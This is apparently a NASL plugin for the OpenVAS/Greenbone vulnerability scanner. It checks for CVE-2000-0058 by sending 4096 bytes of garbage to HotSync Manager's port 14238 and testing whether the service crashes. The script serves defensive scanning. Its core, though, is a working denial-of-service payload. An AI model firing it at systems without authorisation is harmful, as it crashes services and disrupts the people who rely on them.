HotSync Manager Denial of Service attack

# SPDX-FileCopyrightText: 1999 SecuriTeam
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.10102");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/920");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_cve_id("CVE-2000-0058");
  script_name("HotSync Manager Denial of Service attack");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 1999 SecuriTeam");
  script_family("Denial of Service");
  script_dependencies("find_service.nasl");
  script_require_ports(14238);

  script_tag(name:"solution", value:"Block those ports from outside communication.");

  script_tag(name:"summary", value:"It is possible to cause HotSync Manager to crash by
  sending a few bytes of garbage into its listening port TCP 14238.");

  script_tag(name:"solution_type", value:"Mitigation");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

port = 14238;
if( ! get_port_state( port ) )
  exit( 0 );

soc = open_sock_tcp( port );
if( ! soc )
  exit( 0 );

data_raw = crap( 4096 ) + string( "\n" );
send( socket:soc, data:data_raw );
close( soc );

sleep( 5 );

soc_sec = open_sock_tcp( port );
if( ! soc_sec ) {
  security_message( port:port );
  exit( 0 );
}

exit( 99 );